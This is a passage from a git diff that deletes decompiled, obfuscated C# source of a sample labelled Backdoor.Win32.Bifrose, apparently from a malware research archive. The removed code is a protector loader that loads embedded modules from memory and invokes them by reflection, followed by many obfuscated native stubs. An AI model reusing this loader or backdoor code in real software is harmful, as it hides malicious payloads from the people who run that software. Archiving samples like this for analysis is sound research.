!= 0) - return; - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u00BB((__FnPtr) __methodptr(\u0081ú)); - } - - internal static int \u0081þ() => 0; - - internal static unsafe int \u0081ú(\u0081î* _param0) => 0; - - internal static unsafe Assembly \u0081õ(string _param0) - { - string str = _param0.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - int length = str.IndexOf(','); - if (length >= 0) - str = str.Substring(0, length).Trim(); - bool flag = str == "PvLogiciels.dotNetProtector.Runtime"; - byte[] numArray = !flag ? new byte[\u0082\u00BB.\u00A4()] : new byte[\u0082\u00BB.\u009D()]; - if (numArray == null || numArray.Length == 0) - return (Assembly) null; - GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned); - byte* pointer = (byte*) Marshal.UnsafeAddrOfPinnedArrayElement((Array) numArray, 0).ToPointer(); - if (flag) - \u0082\u00BB.ª(pointer); - else - \u0082\u00BB.\u00B3(pointer); - gcHandle.Free(); - return Assembly.Load(numArray); - } - - internal static unsafe void* \u0081ï(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - Module module = Assembly.GetExecutingAssembly().LoadModule("embedded.netmodule", numArray); - AppDomain.CurrentDomain.SetData("PvLogiciels.dotNetProtector.embedded.netmodule", (object) module); - return Marshal.GetHINSTANCE(module).ToPointer(); - } - - internal static unsafe void* \u0081â(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - return Marshal.GetHINSTANCE(Assembly.Load(numArray).GetLoadedModules()[0]).ToPointer(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Û(string[] _param0) => \u003CdotNetProtector\u003E.Main(_param0); - - internal static int \u0081Ö(string[] _param0) - { - Module data = (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - if ((object) data == null) - return \u0082\u00BB.\u0081Û(_param0); - Type type = data.GetType(""); - if ((object) type == null) - return \u0082\u00BB.\u0081Û(_param0); - MethodBase method = (MethodBase) type.GetMethod("Main", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - if ((object) method == null) - return \u0082\u00BB.\u0081Û(_param0); - object[] parameters = new object[1] - { - (object) _param0 - }; - return (int) method.Invoke((object) null, parameters); - } - - internal static Assembly \u0081Ô(object _param0, ResolveEventArgs _param1) - { - string str = _param1.Name.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); - int index = 0; - if (0 < assemblies.Length) - { - Assembly assembly; - do - { - assembly = assemblies[index]; - if (!(assembly.FullName == str)) - ++index; - else - goto label_5; - } - while (index < assemblies.Length); - goto label_6; -label_5: - return assembly; - } -label_6: - return (Assembly) null; - } - - internal static Module \u0081Í(object _param0, ResolveEventArgs _param1) => (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Ê(string[] _param0) - { - PvLogiciels.dotNetProtector.Runtime.ExeInit(typeof (RuntimeInterop), IntPtr.Zero, 0); - Assembly.GetExecutingAssembly().ModuleResolve += new ModuleResolveEventHandler(\u0082\u00BB.\u0081Í); - return \u0082\u00BB.\u0081Ö(_param0); - } - - [STAThread] - internal static int \u0081É(string[] _param0) - { - \u0082\u00BB.\u00B6(); - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0082\u00BB.\u0081Ô); - return \u0082\u00BB.\u0081Ê(_param0); - } - - internal static void \u0081È() - { - } - - internal static int \u0081Å() => 0; - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081\u00BE(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081º([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B7(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B2([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00A1(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0095([In] Exception obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0085([In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ö([In] __FnPtr obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void ì(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int é(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void à([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Ù([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe \u00AD* Ò([In] sbyte* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Ì(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int È([In] uint obj0, [In] \u0082\u00B2* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int* Å(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Â( - [In] int* obj0, - [In] char*** obj1, - [In] char*** obj2, - [In] int obj3, - [In] \u0082º* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A9([In] \u0082\u00B2* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00BB([In] __FnPtr obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B6(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u00B3([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ª([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u00A4(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u009D(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0098([In] int obj0, [In] void* obj1, [In] void* obj2, [In] void* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u0096([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u0087([In] byte* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u008B([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081ø(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint \u0082([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00B9([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AF([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AB([In] byte* obj0, [In] int* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ø([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00A1([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0096([In] byte* obj0, [In] sbyte* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0082\u008B([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u0082([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] sbyte** obj3, - [In] byte obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00AC( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6, - [In] byte obj7); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð([In] byte* obj0, [In] void* obj1, [In] void* obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte** obj5); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte* obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] byte* obj5, - [In] ushort obj6, - [In] ushort obj7, - [In] sbyte** obj8); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00B4([In] byte* obj0, [In] uint* obj1, [In] byte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00D7([In] byte* obj0, [In] byte* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ([In] byte* obj0, [In] uint obj1, [In] ushort obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] sbyte* obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] byte* obj3, - [In] ushort obj4, - [In] ushort obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Ã([In] byte* obj0, [In] void* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ä([In] byte* obj0, [In] void* obj1, [In] sbyte* obj2, [In] byte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2, [In] ulong* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ( - [In] byte* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ulong obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ([In] byte* obj0, [In] void* obj1, [In] uint obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u00A1([In] byte* obj0, [In] ulong obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ª([In] byte* obj0, [In] sbyte* obj1, [In] int obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A5([In] byte* obj0, [In] sbyte* obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void Ý([In] byte* obj0, [In] sbyte* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0081\u009B(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong Ï(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern long Ç(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong \u0081\u008C(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0086(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081( - [In] byte* obj0, - [In] void* obj1, - [In] int* obj2, - [In] sbyte* obj3, - [In] int obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081([In] byte* obj0, [In] void* obj1, [In] int obj2, [In] int obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u00B7([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void ù(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* ô([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* î([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0095([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ã([In] void* obj0, [In] int obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Õ(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0084([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u009A([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AE([In] void* obj0, [In] void* obj1, [In] int obj2, [In] void* obj3); - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0086.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0086.cs deleted file mode 100644 index 437eb913..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0086.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.† -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 60)] - internal struct \u0086 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0088.cs deleted file mode 100644 index 8378fe80..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0088.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_008D.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_008D.cs deleted file mode 100644 index 9929a828..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_008D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 56)] - internal struct \u008D - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0094.cs deleted file mode 100644 index d7b451b7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/ .cs 